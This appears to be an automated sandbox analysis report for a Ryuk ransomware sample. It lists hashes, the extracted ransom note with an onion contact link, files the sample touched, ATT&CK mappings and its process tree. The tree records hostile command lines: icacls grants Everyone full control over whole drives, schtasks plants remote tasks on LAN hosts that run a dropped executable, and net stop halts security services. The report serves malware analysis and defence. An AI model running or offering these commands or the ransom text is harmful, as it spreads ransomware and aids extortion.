ryuk | 59a777daa0a5b26077c69c7cb26b7f72be6b38604b7caea7c6aef0e89991c748

Analysis

max time kernel
91s
max time network
140s
platform
windows10_x64
resource
win10v20201028
submitted
30/03/2021, 11:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
Size

468KB
MD5

9296a9b81bfe119bd786a6f5a8ad43ad
SHA1

581cf7c453358cd94ceed70088470c32a7307c8e
SHA256

0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591
SHA512

64955ec13d7e874d8aeb9490b2ff814473e02ef93eb071bab460add8b5966f660ddca1ba80cf1055f7d2c5cccaf4ad62d908356547c8c13387e622e5dfc849a1

Score

10^/10

ryuk discovery ransomware

Malware Config

Extracted

Path

C:\users\Public\RyukReadMe.html

Family

ryuk

Ransom Note

contact balance of shadow universe Ryuk $password = 'J5U8YdUCr'; $torlink = 'http://ddchw6p2kegymsyoqljqnsslebfh5t7e45s6m2pqhhn5mt4yb3rlazyd.onion'; function info(){alert("INSTRUCTION:\r\n1. Download tor browser.\r\n2. Open link through tor browser: " + $torlink + "\r\n3. Fill the form, your password: "+ $password +"\r\nWe will contact you shortly.\r\nAlways send files for test decryption.");};

URLs

http://ddchw6p2kegymsyoqljqnsslebfh5t7e45s6m2pqhhn5mt4yb3rlazyd.onion

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk

Executes dropped EXE 3 IoCs

pid	Process
3116	SaFbmejfrrep.exe
3568	aajwdTtdAlan.exe
3384	QkevIHuEolan.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5084	icacls.exe
3676	icacls.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\db\bin\stopNetworkServer.bat	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.smil_1.0.0.v200806040011.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Grace-ppd.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_OEM_Perp-ul-phn.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-pl.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019VL_KMS_Client_AE-ul.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_OEM_Perp-ppd.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\jmxremote.access	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.metadata.repository.prefs	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_zh_CN.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Grace-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_OEM_Perp-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART8.BDR	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\jfluid-server.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-util-enumerations.xml	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-io.xml	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\content-types.properties	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Trial-pl.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\VisioStdR_OEM_Perp-pl.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\ca\msipc.dll.mui	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\ko\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\javafx-mx.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_zh_CN.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\7-Zip\Lang\en.ttt	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\core.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-charts.xml	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Grunge Texture.eftx	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019R_Retail-ul-phn.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.http_8.1.14.v20131031.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Reflection.eftx	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CSS7DATA0009.DLL	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\db\bin\setEmbeddedCP	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\StandardR_Retail-ppd.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\OFFRHD.DLL	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-remote.xml	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1036\MSO.ACL	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\uk\msipc.dll.mui	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ipsptb.xml	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_OEM_Perp-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Access2019VL_KMS_Client_AE-ul.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-phn.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_Retail-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\StandardMSDNR_Retail-pl.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Retail-ul-phn.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSIPC\el\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\include\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial2-ppd.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019VL_MAK_AE-ul-oob.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\auxpad\RyukReadMe.html	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial-pl.xrm-ms	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSVCP140_APP.DLL	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4808	schtasks.exe
5424	schtasks.exe
5384	schtasks.exe
2924	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4736 wrote to memory of 3116	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	78
PID 4736 wrote to memory of 3116	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	78
PID 4736 wrote to memory of 3116	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	78
PID 4736 wrote to memory of 3568	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	79
PID 4736 wrote to memory of 3568	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	79
PID 4736 wrote to memory of 3568	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	79
PID 4736 wrote to memory of 3384	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	80
PID 4736 wrote to memory of 3384	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	80
PID 4736 wrote to memory of 3384	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	80
PID 4736 wrote to memory of 5084	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	81
PID 4736 wrote to memory of 5084	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	81
PID 4736 wrote to memory of 5084	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	81
PID 4736 wrote to memory of 3676	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	82
PID 4736 wrote to memory of 3676	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	82
PID 4736 wrote to memory of 3676	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	82
PID 4736 wrote to memory of 776	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	85
PID 4736 wrote to memory of 776	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	85
PID 4736 wrote to memory of 776	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	85
PID 4736 wrote to memory of 5048	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	87
PID 4736 wrote to memory of 5048	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	87
PID 4736 wrote to memory of 5048	4736	0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe	87

C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
"C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe"
1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe
  "C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe" 9 REP
  2⤵
  - Executes dropped EXE
  PID:3116
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.87 /TN Y2MWOn2 /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:4808
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.68 /TN eRobs2p /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5424
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.84 /TN U8tebwX /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:5384
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN aP8q5mC /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2924
- C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe
  "C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe
  "C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe" 8 LAN
  2⤵
  - Executes dropped EXE
  PID:3384
- C:\Windows\SysWOW64\icacls.exe
  icacls "C:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:5084
- C:\Windows\SysWOW64\icacls.exe
  icacls "D:\*" /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:3676
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:776
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:3484
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:5048
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:4600
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y
  2⤵
  PID:4868
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "audioendpointbuilder" /y
    3⤵
    PID:3972
- C:\Windows\SysWOW64\net.exe
  "C:\Windows\System32\net.exe" stop "samss" /y
  2⤵
  PID:4184
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "samss" /y
    3⤵
    PID:4900

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4736-46-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-54-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-84-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-85-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-86-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-88-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-87-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-89-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-90-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-91-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-83-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-95-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-94-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-96-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-97-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-93-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-98-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-99-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-82-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-74-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-76-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-77-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-75-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-73-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-71-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-72-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-69-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-70-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-67-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-68-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-66-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-65-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-64-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-62-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-63-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-60-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-61-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-59-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-58-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-57-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-56-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-81-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-53-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-52-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-51-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-50-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-49-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-48-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-2-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/4736-47-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-3-0x0000000035000000-0x0000000035177000-memory.dmp

Filesize
1.5MB

Download
memory/4736-44-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-42-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-40-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-39-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-38-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-37-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-36-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-35-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-34-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-33-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-31-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-32-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-19-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-20-0x0000000003650000-0x0000000003651000-memory.dmp

Filesize
4KB

Download
memory/4736-30-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-29-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-26-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-28-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-21-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-27-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-22-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-25-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-24-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download
memory/4736-23-0x0000000002E50000-0x0000000002E51000-memory.dmp

Filesize
4KB

Download